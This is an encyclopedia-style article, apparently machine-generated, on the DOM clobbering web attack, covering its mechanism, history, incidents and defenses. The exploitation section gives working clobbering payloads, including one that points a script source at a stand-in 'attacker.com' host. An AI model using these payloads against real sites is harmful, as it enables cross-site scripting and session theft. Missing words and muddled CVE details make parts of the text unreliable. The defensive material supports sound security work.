Fact-checked by Grok 2 weeks ago

DOM clobbering

DOM clobbering is a code-reuse attack in web security that exploits the browser's legacy behavior of automatically creating global properties for HTML elements with id or name attributes, allowing attackers to inject seemingly benign markup to overwrite sensitive variables, functions, or APIs on the window or document objects, often leading to (XSS), open redirects, or without injecting executable scripts. This vulnerability arises from namespace collisions between the (DOM) and the execution environment, where injected elements like <a id="config" name="url" href="javascript:alert(1)"> can clobber properties such as window.config.url, altering application logic that relies on fallback assignments like var obj = window.obj || {};. Attackers typically exploit this in scenarios where direct script injection is blocked by content security policies (CSP) or sanitizers, but HTML attribute injection is permitted, such as through reflected or stored user inputs in comments, profiles, or search results. First documented in 2010, DOM clobbering has evolved into a sophisticated threat, with a 2023 study identifying over 31,000 distinct attack markups across five core techniques, including named access to window properties and manipulation of HTMLCollection objects. Analyses of the top 5,000 websites as of 2023 reveal that approximately 9.8% are vulnerable, affecting 491 sites with 9,467 exploitable data flows that enable attacks like JSON injection or cookie tampering, even on high-profile platforms such as GitHub and Trello. The study also found 114 browser APIs, including cache storage and event handlers, remain clobberable in modern browsers like Chrome, Firefox, and Safari as of 2023. The technique continues to pose risks, with vulnerabilities reported in 2024 (e.g., CVE-2024-53388 in Mavo and CVE-2024-53382 in JavaScript libraries) and new research on detection and exploitation gadgets presented at USENIX Security 2025. Mitigation requires a multi-layered approach: developers should sanitize user-controlled HTML using libraries like DOMPurify with configurations such as SANITIZE_NAMED_PROPS: true to strip dangerous id and name attributes, implement strict CSP headers to block inline scripts and unsafe evaluations, and adopt secure coding practices like verifying object types (e.g., checking if attributes is a NamedNodeMap), using block-scoped variables with let or const, and avoiding global namespace reliance through immediately invoked function expressions (IIFEs). Object freezing with Object.freeze() on sensitive globals and (SAST) tools can further reduce exposure, though existing defenses like basic HTML sanitizers fail against 55% of variants and CSP against 85% as per the 2023 analysis.

Overview

Definition

DOM clobbering is a code-reuse, HTML-only injection attack that enables attackers to overwrite global objects or DOM properties by injecting non-script HTML elements, thereby manipulating the behavior of existing client-side code without requiring direct script execution. This vulnerability arises from the inherent mechanism where HTML elements with specific id or name attributes automatically create corresponding properties on the window or document objects, allowing injected elements to shadow or replace legitimate JavaScript variables and functions. Unlike traditional (XSS), which relies on injecting and executing malicious scripts, DOM clobbering exploits namespace collisions in the DOM to alter logic indirectly, often succeeding even when script tags or event handlers are filtered out by . This distinction positions it as a subtler form of DOM-based vulnerability, where the attack leverages the browser's property resolution priorities to confuse application behavior rather than introducing new executable code. The technique primarily affects modern web browsers supporting HTML5 standards, though it is rooted in legacy features such as named form controls and anchor elements that have persisted in the DOM specification. These environments are vulnerable in applications that unsafely reference global objects without proper scoping, particularly when user-controlled HTML input is insufficiently sanitized for attribute-based injections.

Mechanism

DOM clobbering occurs through the browser's implementation of named property access on the object, as defined in the Living Standard. When content is parsed and inserted into the , certain elements with id or name attributes are registered as supported named properties on the WindowProxy object, which proxies access to the global window object. This registration happens dynamically during DOM construction: the parser processes the markup, creates corresponding DOM nodes, and adds elements bearing qualifying id or name attributes to the list of named objects in tree order, ensuring uniqueness by ignoring duplicates after the first occurrence. The property shadowing mechanism arises because these named properties are treated as own properties of the WindowProxy, resolved via its custom [[GetOwnProperty]] and [[Get]] internal methods before falling back to the prototype chain. For instance, if an element has an id or name matching a native property like document or location, accessing window.document or window.location returns a reference to the DOM element (or an HTMLCollection if multiple elements share the name) instead of the expected native object, such as the Document interface or Location object. This shadowing is facilitated by implicit getters: the named property access algorithm invokes a getter that retrieves the element from the DOM tree, effectively overriding the built-in property without altering the underlying prototype. In cases of multiple matching elements, the collection's enumeration follows document tree order, which can lead to the first or last element being prioritized depending on the access pattern. Named elements play a central role in this process, as only specific HTML elements contribute their name attributes to the named properties list, per the specification's rules for elements with a name IDL attribute. These include anchors (<a>), forms (<form>), images (<img>), embeds (<embed>), objects (<object>), iframes (<iframe>), and certain inputs (<input type="image">), alongside any element's id attribute, which universally qualifies. During parsing, the browser associates these attributes with the element nodes; for example, <a name="location"> or <form id="document"> injects a shadow property that resolves to the HTMLAnchorElement or HTMLFormElement instance. The id attribute shadows more broadly across all elements, while name is restricted to the listed tags to maintain compatibility with legacy content. This selective contribution ensures that globals are clobbered only by relevant structural elements, tying the mechanism closely to HTML semantics. Browser engines exhibit consistent core behavior across Blink (used in and ), Gecko (), and WebKit (), adhering to the standards for named access and DOM tree integration. However, nuances arise in property enumeration order, particularly for HTMLCollection objects returned when duplicates exist: Blink and Gecko typically enumerate in forward tree order (earlier elements first), while WebKit may reverse or prioritize based on insertion timing in certain edge cases. These differences stem from variations in how engines implement the supported property names and handle dynamic DOM mutations, but they do not alter the fundamental shadowing of native objects. Research identifies at least ten behavioral variants among major browsers, with enumeration order affecting the predictability of which element is accessed during resolution. The internal flow begins with HTML insertion via parsing or dynamic methods like innerHTML, triggering DOM node creation and tree integration under the Document object. As elements are connected, post-insertion steps update the named properties list on WindowProxy, making shadows immediately available for JavaScript resolution. When a script attempts property access (e.g., window.property), the engine first checks own properties via named access, bypassing the prototype chain if a match is found; this disrupts expected inheritance, as the returned DOM reference lacks the native object's methods and state, such as Location's href setter or Document's createElement. Prototype chain disruption is localized to the shadowed property, preserving other globals unless chained accesses (e.g., window.document.body) propagate the confusion. This flow ensures live binding: mutations to the DOM (adding/removing named elements) reflect instantly in property lookups without requiring script intervention.

Historical Development

Origins

DOM clobbering traces its roots to the early days of development in the 1990s, when browsers like implemented support for named elements to facilitate scripting interactions. Under 4 specifications, elements such as anchors (<a name>) and forms (<form name>) were designed with name attributes that allowed direct access via properties on the global window object, creating what is known as named property access. This feature, inherited from early standards and browser behaviors dating back to Netscape's integration in 1995, enabled developers to reference elements like window.formName without explicit DOM queries, prioritizing ease of use in nascent web applications. Initial awareness of this mechanism as a potential concern emerged in the security community around 2008-2010, amid broader discussions on global pollution. The first documented instance appeared in 2010, when researchers Gustav Rydstedt et al. described an attack using an <iframe name='[self](/page/Self)'> to clobber the self and defeat frame-busting scripts. During this period, researchers began documenting how named elements could inadvertently override variables and properties, leading to unexpected behavior in scripts. These early observations highlighted the collision between markup and the JavaScript execution environment but were largely confined to academic and technical forums, viewing it as a quirk of browser compatibility rather than a deliberate exploit vector. The recognition of DOM clobbering evolved significantly in the mid-2010s with the proliferation of single-page applications (SPAs), which relied heavily on dynamic DOM manipulation and global objects. As SPAs became prevalent, the legacy named property feature shifted from a benign convenience to a exploitable weakness, enabling attackers to manipulate script behavior through injected markup without executing code directly. This transition underscored how modern architectures amplified the risks of historical browser designs. Prior to 2019, DOM clobbering remained relatively obscure, with limited documentation and analysis treating it as an edge case in web security literature. It received scant attention compared to more prominent vulnerabilities like XSS, partly due to its dependence on specific browser implementations and the lack of widespread real-world demonstrations.

Key Incidents

One of the earliest prominent real-world demonstrations of DOM clobbering occurred in 2019 when security researcher Michał Bentkowski identified a cross-site scripting (XSS) vulnerability in Gmail's AMP4Email feature. By injecting HTML elements that clobbered the document.createElement property, attackers could execute arbitrary scripts in the context of Gmail, potentially compromising user sessions. Google patched the issue after Bentkowski's report through the Vulnerability Reward Program, awarding him a $5,000 bounty. In 2020, PortSwigger researcher Gareth Heyes published "DOM Clobbering Strikes Back," reviving interest in the technique by unveiling novel variants that bypassed modern defenses. Heyes demonstrated advanced clobbering using multi-level structures like forms and iframes to target properties and achieve code execution without direct script injection, highlighting the technique's adaptability to evolving browser APIs. This influenced subsequent security audits and tool development for detecting such issues. The 2023 IEEE Symposium on Security and Privacy featured the paper "It's (DOM) Clobbering Time: Attack Techniques, Prevalence, and Defenses" by Soheil Khodayari and Giancarlo Pellegrino, which systematically analyzed DOM clobbering's widespread presence. Their study scanned the top 5,000 websites and found vulnerabilities in 9.8% of them (491 sites), including new gadget chains that enabled XSS on platforms like and ; the paper also earned a Distinguished Award for its comprehensive evaluation. A significant supply-chain impact emerged in 2024 with CVE-2024-47068 (GHSA-gcx4-mw62-g8wm) in the JavaScript bundler, affecting versions prior to 2.79.2, 3.29.5, and 4.22.4. The vulnerability allowed DOM clobbering in bundled scripts using import.meta.url, leading to XSS when deployed via npm packages; it impacted numerous applications in the JavaScript ecosystem, prompting urgent patches from maintainers. Among other notable cases, the 2023 Khodayari and Pellegrino analysis uncovered DOM clobbering flaws enabling attacks like XSS on platforms such as and . Additionally, recent research in 2025 identified exploitable DOM clobbering gadgets in HackMD.io, an online markdown editor, allowing attackers to achieve XSS through concolic execution of injected HTML.

Exploitation

Basic Techniques

Basic techniques of DOM clobbering involve injecting simple HTML elements into a webpage to overwrite or shadow global JavaScript properties and methods, often through the use of id and name attributes that create references on the window or document objects. These methods exploit the browser's mechanism of exposing named DOM elements as properties, allowing attackers to manipulate application logic without executing scripts directly. Such injections are typically possible in applications that reflect user input into HTML without proper sanitization, such as search fields or profile pages. One classic approach is named element clobbering using anchor tags to target object methods like document.createElement. For instance, an attacker can inject <a id="document"></a><a id="document" name="createElement"></a>, which creates an HTMLCollection for the document identifier on the window object. Accessing document.createElement then resolves to the second anchor element via the collection's named access, effectively replacing the native method with a DOM node and causing subsequent createElement calls to fail or behave unexpectedly. This technique shadows the property by leveraging the browser's named element resolution rules. Form-based attacks provide another straightforward vector, particularly for hijacking properties like window.location.href. A common payload is <form id="location"><input name="href" value="javascript:alert(document.domain)"></form>, where the injected form element overwrites window.location with itself. The form's href property then points to the input element named href, allowing an attacker to control the value assigned to location.href in application code, potentially leading to open redirects or XSS if the value is used unsafely. This works because named inputs become properties of their parent form, enabling subproperty manipulation. Attribute manipulation extends these tactics to other elements like images or embeds, which can shadow globals such as window.XMLHttpRequest. For example, injecting <img id="XMLHttpRequest" src="x"><img id="XMLHttpRequest" name="open" src="x"> creates an HTMLCollection for XMLHttpRequest on the window object, clobbering the constructor and causing further accesses like XMLHttpRequest.open to resolve to the second image element via the collection's named access. Elements like <embed> or <object> are particularly effective here due to their ability to define custom properties, disrupting AJAX requests or API calls that rely on the native object. This attribute-based shadowing exploits the same named access mechanism but targets constructor functions for broader impact on dynamic content loading. These payloads are structured as benign-looking HTML snippets, often mimicking legitimate markup to evade basic filters, and are injectable via reflected user inputs like query parameters or form fields without HTML escaping. For example, a payload like <a id="config"></a><a id="config" name="url" href="https://attacker.com/script.js"></a> appears as simple links but overwrites window.config.url for script injection. In vulnerable applications, these techniques can be tested with code that assumes intact globals, such as the following hypothetical snippet:
javascript
let config = window.config || { url: 'https://trusted.com/script.js' };
let script = document.createElement('script');
script.src = config.url;
document.head.appendChild(script);
If an attacker injects <a id="config"></a><a id="config" name="url" href="https://attacker.com/malicious.js"></a> via an unsanitized input, config.url resolves to the malicious href, loading the attacker's script instead of the trusted one. This demonstrates how basic clobbering alters expected JavaScript behavior, highlighting the need for property validation in such code.

Advanced Variants

Gadget chaining represents a sophisticated of DOM clobbering, where multiple overwrites are combined to exploit code-reuse vulnerabilities in libraries, often escalating to DOM-based (DOM XSS). In this approach, attackers first clobber global variables or properties using injected elements, creating "gadgets"—reusable code snippets that manipulate data flow to sensitive sinks like eval() or location assignment. For instance, clobbering document.scripts with an <iframe name="scripts"> can redirect script loading to attacker-controlled content, chaining into XSS by bypassing input sanitizers that permit scriptless . has identified 497 such gadgets across the Tranco Top 5,000 websites, including zero-day issues in libraries like , where overwriting currentScript via <img name="currentScript"> alters dynamic imports to execute malicious payloads. A notable example involves overwriting the global RegExp object to alter regex-based filters, allowing tainted input to reach XSS sinks; this technique leverages string conversion gadgets from attributes like textContent or href to manipulate validation logic without direct script injection. Module and import clobbering targets modern (ES6) features, exploiting naming collisions in module loaders to compromise dynamic imports and metadata properties. Attackers inject that shadows import.meta.url, a meta-property providing the module's context, enabling redirection of module fetches to malicious resources. This vulnerability arises in bundled scripts from tools like , where output formats such as CJS, IIFE, or UMD expose import.meta properties to DOM pollution, leading to XSS via clobbered script sources. Gareth Heyes' 2020 research highlighted early variants of this in advanced clobbering chains, using nested like forms and iframes to propagate overwrites across module boundaries, as seen in multi-level payloads that clobber window proxies for ES6 environments. Such techniques persist in contemporary bundlers, with CVE-2024-47068 demonstrating how clobbering import.meta in -bundled code allows in module-dependent applications. Clobbering across Shadow DOM and iframe boundaries in single-page applications (SPAs) using exploits encapsulation weaknesses, allowing injected HTML to leak into isolated DOM trees. In Shadow DOM, custom elements with id or name attributes can shadow host properties, overriding variables in the light DOM and propagating to slotted content, as identified in analyses of 31,432 clobberable markups including <shadow> tags. interactions amplify this by nesting proxies—e.g., <iframe name="x"><iframe name="y"> clobbers window.x.y—enabling cross-boundary overwrites that affect Web Component internals in SPAs, where dynamic rendering exposes 114 APIs to manipulation. This is particularly potent in frameworks relying on , where clobbered custom tags like <customtag id="x"> interfere with shadow root queries, bypassing intended for component modularity. Event handler overrides via DOM clobbering allow interception of DOM events without executable scripts, by shadowing method names with elements to hijack listener attachment. For example, injecting <div id="addEventListener"> replaces the global addEventListener with a DOM node, causing subsequent calls like element.addEventListener('click', handler) to fail or redirect to the clobbered element's properties, effectively intercepting event propagation in event-driven SPAs. This technique chains with basic named element clobbering to override handlers like onbeforeinstallprompt, altering behaviors in progressive web apps without triggering content security policies. Browser extension vulnerabilities involving DOM clobbering in content scripts have surfaced in recent CVEs, exploiting how extensions inject into pages, leading to global namespace pollution. In content scripts, clobbering occurs when extension-bundled code using tools like Vite or exposes DOM-interactable properties, allowing malicious page to overwrite extension variables and execute arbitrary code. For instance, CVE-2024-45812 details a flaw in Vite-bundled extension scripts where dynamic imports are hijacked via clobbered import.meta, enabling XSS in extension contexts across affected browsers. Similarly, CVE-2024-47068 in affects extension bundling, where scriptless injections clobber module metadata, compromising content script isolation and leading to or UI redressing in 2023-2024 incidents. These cases underscore the risks in extensions processing user-controlled , with 9,467 vulnerabilities detected across top sites, many impacting extension-like injection points.

Security Implications

Threat Model

In the threat model for DOM clobbering, the primary is a remote web attacker who can inject crafted, scriptless markup into a target webpage through reflected or stored user inputs, such as parameters, comments, or form submissions, without requiring direct access to executable . This capability allows the attacker to leverage elements with specific id or name attributes to overwrite variables or native browser APIs on the window or document objects, exploiting naming collisions in the DOM. The attack targets client-side environments in modern web browsers, including , , and , particularly in single-page applications (SPAs) or dynamic web apps that heavily rely on global objects for and interactions. Prerequisites include the presence of unsanitized HTML insertion points where user-controlled content is rendered directly into the DOM, combined with application code that assumes stable property values on global objects without performing type checks or existence validations. For instance, patterns like var obj = [window](/page/Window).someProperty || {} can be disrupted if someProperty is clobbered by an injected element. The attack surface encompasses areas vulnerable to partial HTML control, such as user-generated content sections (e.g., forum posts or profile fields), third-party embeds like advertisements or widgets, and legacy codebases with outdated sanitization practices. However, the technique's scope is limited to scenarios requiring an injection context; strict (CSP) rules provide limited mitigation against DOM clobbering, blocking only a small fraction of attacks as per research, along with environments that filter dangerous id or name attributes.

Impacts

DOM clobbering primarily enables DOM-based (XSS) attacks by overwriting DOM creation methods, such as document.createElement or document.createTextNode, allowing attackers to inject and execute arbitrary code without direct script tags. For instance, clobbering document.createElement to return a malicious element can trick applications into processing attacker-controlled payloads as legitimate DOM nodes, leading to script execution in the context of the victim site. This technique exploits naming collisions between injected HTML elements and JavaScript variables, bypassing common input that blocks explicit <script> tags. Secondary risks include open redirects through clobbering the window.location object, which can redirect users to malicious sites for phishing or further exploitation, and data exfiltration by overriding APIs like fetch or XMLHttpRequest. By injecting HTML that shadows these globals (e.g., <form name="fetch">), attackers can intercept or redirect network requests to leak sensitive information, such as session tokens or user data, to attacker-controlled endpoints. Research identifies open redirects in 12.9% of analyzed clobbering vulnerabilities and request forgery via fetch as a common sink for exfiltration. Broader implications extend to account takeovers and compromises, as seen in the 2019 Gmail AMP4Email vulnerability where DOM clobbering in the sanitizer allowed XSS, potentially enabling attackers to access user accounts and third-party credentials. In 2024, a DOM clobbering in Webpack's AutoPublicPathRuntimeModule facilitated XSS in bundled applications like Canvas LMS, amplifying risks in software s by affecting downstream sites that ingest unsanitized . These incidents highlight how clobbering chains into persistent threats, particularly in dynamic content handlers. Prevalence studies reveal DOM clobbering affects 9.8% of the Tranco Top 5K websites, with 9,467 vulnerable data flows across 491 sites identified in research, and the tool uncovering 497 exploitable gadgets in the same corpus in 2025, including 378 leading to XSS. Real-world severity is reflected in CVSS scores for related XSS chains, typically ranging from 6.1 (medium) for isolated cases like CVE-2024-47068 in to higher values up to 8.8 when escalated, underscoring persistence in legacy applications despite awareness.

Mitigation

Preventive Practices

Developers can prevent DOM clobbering by adopting strategies that isolate code, validate properties, and safely handle user input, thereby reducing the risk of unintended property overwrites in the global namespace. These practices emphasize proactive coding to maintain DOM integrity without relying on post-development tools. Namespace Isolation
To minimize global reliance and prevent variable collisions, developers should encapsulate code using closures, ES6 modules, or Immediately Invoked Function Expressions (IIFEs), which limit exposure to the window object. Preferring block-scoped declarations like let and const over var avoids hoisting and unintended global pollution, as var declarations attach to the global scope in non-strict mode. In single-page applications (SPAs), auditing globals involves identifying and renaming shared properties to unique identifiers, while employing object-oriented patterns for encapsulation further isolates sensitive data. Enabling strict mode with 'use strict'; enforces these boundaries by throwing errors on undeclared globals. Freezing critical objects using Object.freeze(window.config) prevents runtime modifications to their properties. These techniques collectively reduce the attack surface by avoiding predictable naming that attackers can exploit.
Property Existence Checks
Defensive programming requires verifying the type and integrity of DOM properties before accessing them, ensuring they have not been clobbered. For instance, before invoking methods, check their functionality with conditions like if (typeof [document](/page/Document).createElement === 'function') { /* use method */ }, which confirms the expected behavior. More precise validation uses instanceof to confirm object types, such as if (element.attributes instanceof NamedNodeMap) { /* access attributes */ }, preventing errors from overwritten references. Avoid fallback patterns like let obj = window.obj || {};, as they can introduce clobbered values; instead, explicitly test and default to safe alternatives. These checks should be integrated into code accessing global or DOM-derived objects to maintain reliability.
HTML Sanitization
Sanitizing user-controlled is essential to block injection of elements with id or name attributes that could clobber globals. Always inputs and avoid sinks like innerHTML, which parse raw and enable attribute-based overwrites; instead, opt for safer alternatives detailed below. Libraries like DOMPurify provide robust protection by stripping or prefixing dangerous attributes when configured with SANITIZE_NAMED_PROPS: true, as in the following example:
javascript
const clean = DOMPurify.sanitize(dirtyHtml, { SANITIZE_NAMED_PROPS: true });  
document.getElementById('container').innerHTML = clean;  
This option renames properties (e.g., to user-content-id) to avoid collisions. Similarly, the browser's can explicitly block id and name attributes across elements:
javascript
const sanitizer = new Sanitizer({  
  blockAttributes: [  
    { name: 'id', elements: '*' },  
    { name: 'name', elements: '*' }  
  ]  
});  
const cleanNode = sanitizer.sanitizeFor(htmlString, target);  
Regularly updating such libraries addresses evolving bypasses. These methods ensure user input does not introduce clobbering vectors while preserving legitimate content. Secure Parsing
When dynamically inserting content, use safe parsing methods to avoid direct HTML evaluation that could lead to . Setting textContent treats input as plain text, bypassing parsing and preventing attribute injection:
javascript
element.textContent = userInput;  
This approach ensures no executable or structural elements are introduced. For scenarios requiring structure, the parses strings into inert DOM nodes for validation before insertion, without triggering scripts or global modifications:
javascript
const parser = new DOMParser();  
const doc = parser.parseFromString(userInput, 'text/html');  
// Validate and append specific nodes from doc  
These techniques complement sanitization by isolating parsing from the live DOM. Best Practices from
guidelines stress avoiding assumptions of DOM stability, particularly in SPAs where dynamic updates amplify risks; developers must audit for global dependencies and apply the above isolations consistently. Prefixing custom id and name attributes (e.g., app-config-) in controlled further prevents overlaps. Integrating these into development workflows, such as code reviews focusing on global access patterns, ensures comprehensive coverage without over-relying on runtime defenses.

Detection Methods

Detection of DOM clobbering vulnerabilities relies on a combination of policy enforcement, input sanitization, automated analysis tools, runtime protections, browser extensions, and monitoring mechanisms to identify and block attempts to inject elements that overwrite properties via naming collisions. (CSP) serves as a key policy-based detection and prevention mechanism by restricting the execution of dynamically generated or inline scripts that could be influenced by clobbered properties. By avoiding the 'unsafe-inline' directive in the script-src policy and instead using nonces or hashes for allowed scripts, CSP blocks unauthorized inline execution, thereby mitigating impacts from DOM clobbering that redirect tainted data flows to script sinks like eval() or script.src. For instance, a strict CSP configuration such as script-src 'nonce-randomvalue' ensures that only explicitly approved scripts run, preventing clobbered globals from enabling without direct script injection. However, CSP is less effective against clobbering that exploits pre-existing reacting to overwritten properties, covering only about 14.7% of detected vulnerabilities in large-scale analyses. HTML sanitization libraries provide runtime filtering to detect and neutralize clobbering attempts by stripping or modifying dangerous attributes during input processing. DOMPurify, a widely used sanitizer, enables the SANITIZE_NAMED_PROPS configuration to prefix id and name attributes (e.g., appending 'user-content-') on injected elements, preventing them from colliding with global JavaScript variables like . Similarly, the sanitize-html library can be configured to remove or escape id and name attributes entirely, blocking the creation of named property collections that facilitate clobbering. These libraries process user-controlled before insertion into the DOM via methods like innerHTML, ensuring that potential gadgets—such as —are defanged, but it remains vulnerable to some crafted payloads unless updated regularly. A study found that 55% of 29 tested HTML sanitizers are vulnerable to DOM clobbering by default. Automated scanners enhance detection through of web applications for clobberable properties and gadgets. The tool, introduced in 2025, employs concolic execution with symbolic DOM modeling to dynamically identify and exploit DOM clobbering vulnerabilities by tracking tainted data flows from injections to sensitive sinks like document.cookie or eval(). It constructs taint dependency graphs to solve constraints for generating proof-of-concept exploits, evaluating over 5,000 top websites and uncovering 497 exploitable gadgets, including zero-days in frameworks like , leading to 19 CVEs such as XSS in . For static analysis, TheThing tool uses hybrid combining forced execution and graph queries to detect clobberable sources (e.g., uninitialized variables) and sinks, identifying 9,467 vulnerable flows across 491 Tranco top-5K sites by modeling interactions between injected and . These tools integrate with development pipelines for proactive scanning, focusing on high-impact gadgets without requiring manual payload crafting. Runtime defenses involve mechanisms to protect critical globals from overwriting during execution. Object.freeze() can be applied to sensitive objects like or specific properties (e.g., Object.freeze(.location)) to make them non-extensible and prevent property redefinition via , though it fails against native browser properties involved in about 21.5% of cases. objects offer a more flexible approach by wrapping globals (e.g., const secureWindow = new (, { set: (target, prop, value) => { if (isClobberable(prop)) throw new Error('Blocked'); return Reflect.set(target, prop, value); } })) to intercept and validate property assignments, logging or blocking anomalous accesses that match clobbering patterns like id-based overwrites. These defenses require identification of all at-risk objects but provide fine-grained control in browsers supporting ES6 . Browser extensions like contribute to client-side detection by blocking dynamic content loading that could introduce vectors. NoScript selectively permits and plugins only from trusted domains, preventing third-party iframes or from injecting elements that target global properties, thus reducing exposure to cross-origin attempts. While primarily a blocker, its granular control over DOM-modifying resources indirectly detects and mitigates injection-based in untrusted contexts. Monitoring techniques focus on and web application firewalls (WAFs) to identify injection patterns indicative of clobbering. Audit logs can track anomalous property accesses, such as unexpected overwrites of globals like .href via getOwnPropertyDescriptor or traps, enabling post-incident analysis of tainted flows. WAFs, such as AWS WAF or , integrate rules to detect HTML injection patterns (e.g., suspicious payloads) using signature-based matching and anomaly scoring, blocking requests before they reach the application and them for ; for example, 's attack score detection flags variations of known DOM attempts. These approaches provide scalable, reactive detection, with logs feeding into SIEM systems for correlation with clobbering exploits.

References

  1. [1]
    DOM Clobbering Prevention - OWASP Cheat Sheet Series
    DOM Clobbering works by taking advantage of this (legacy) behaviour, causing a namespace collision between the execution environment (i.e., window and document ...Missing: explanation | Show results with:explanation
  2. [2]
    DOM clobbering | Web Security Academy - PortSwigger
    DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page.Missing: explanation - - | Show results with:explanation - -
  3. [3]
  4. [4]
    [PDF] It's (DOM) Clobbering Time: Attack Techniques, Prevalence, and ...
    Abstract—DOM Clobbering is a type of code-less injection attack where attackers insert a piece of non-script, seemingly benign HTML markup into a webpage ...
  5. [5]
  6. [6]
  7. [7]
  8. [8]
    [PDF] Detecting and Exploiting DOM Clobbering Gadgets via Concolic ...
    DOM Clobbering is a type of code-reuse attack on the web that exploits naming collisions between DOM elements and JavaScript variables for malicious ...
  9. [9]
  10. [10]
    Window - Web APIs | MDN
    The Window interface represents a window containing a DOM document; the document property points to the DOM document loaded in that window.
  11. [11]
    [PDF] Busting Frame Busting: a Study of Clickjacking Vulnerabilities on ...
    Jul 20, 2010 · Web framing attacks such as clickjacking use iframes to hijack a user's web session. The most common defense, called frame busting, prevents.
  12. [12]
    DOM Clobbering strikes back | PortSwigger Research
    Feb 6, 2020 · In this post, I'm going to quickly introduce DOM Clobbering, expand on my original research with some new techniques, and share two interactive labs.Missing: 2010 | Show results with:2010
  13. [13]
  14. [14]
    DOM Clobbering Gadget found in rollup bundled scripts that leads to ...
    Sep 21, 2024 · The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation ...Missing: parsing | Show results with:parsing
  15. [15]
    [PDF] Everything You Wanted to Know About DOM Clobbering “But Were ...
    Source: 1 Rydstedt et. al, “Busting Frame Busting: A Study of Clickjacking Vulnerabilities at Popular Sites,” SP 2010. Page 15. Clobbering Markups: What To ...
  16. [16]
    [PDF] Detecting and Exploiting DOM Clobbering Gadgets via Concolic ...
    DOM Clobbering is a type of code-reuse attack on the web that exploits naming collisions between DOM elements and JavaScript variables for malicious ...
  17. [17]
    CVE-2024-47068 Detail - NVD
    Sep 23, 2024 · Rollup is a module bundler for JavaScript. Versions prior to 2.79.2, 3.29.5, and 4.22.4 are susceptible to a DOM Clobbering vulnerability.
  18. [18]
    CVE-2024-45812 Detail - NVD
    Sep 17, 2024 · DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the ...Missing: definition | Show results with:definition
  19. [19]
    New Google Gmail Feature Introduced With An Old Security ... - Forbes
    Nov 23, 2019 · Bentkowski found such an XSS vulnerability in the Gmail AMP4Email implementation, an example of what he refers to as "a real-world ...
  20. [20]
    DOM Clobbering Gadget found in Webpack's ... - GitHub
    Aug 27, 2024 · The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (eg, an img tag)
  21. [21]
    DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for ...
    DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. It's also very simple to use and get started with.
  22. [22]
    DOM based XSS Prevention - OWASP Cheat Sheet Series
    This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension) of the XSS Prevention Cheatsheet.
  23. [23]
  24. [24]
    TheThing: an open-source tool to detect DOM Clobbering ... - GitHub
    A static-dynamic security analysis tool for DOM clobbering vulnerabilities based on JAW-v1 and Iroh. TheThing can be used for analyzing the client-side of web ...Missing: DOMino | Show results with:DOMino
  25. [25]
    What is it? - NoScript: block scripts and own your browser!
    The NoScript Security Suite is a free extensions for Firefox, Chrome and other browsers, preemptively blocks malicious scripts and allows JavaScript and ...Get it! · FAQ · Usage · CommunityMissing: DOM | Show results with:DOM
  26. [26]
    WAF attack score · Cloudflare Web Application Firewall (WAF) docs
    Aug 22, 2025 · The attack score traffic detection helps identify variations of known attacks and their malicious payloads. This detection complements WAF ...
  27. [27]
    Logging and monitoring in AWS WAF - AWS Documentation
    AWS WAF offers logging for the traffic that your protection packs (web ACLs) analyze. The logs include information such as the time that AWS WAF received the ...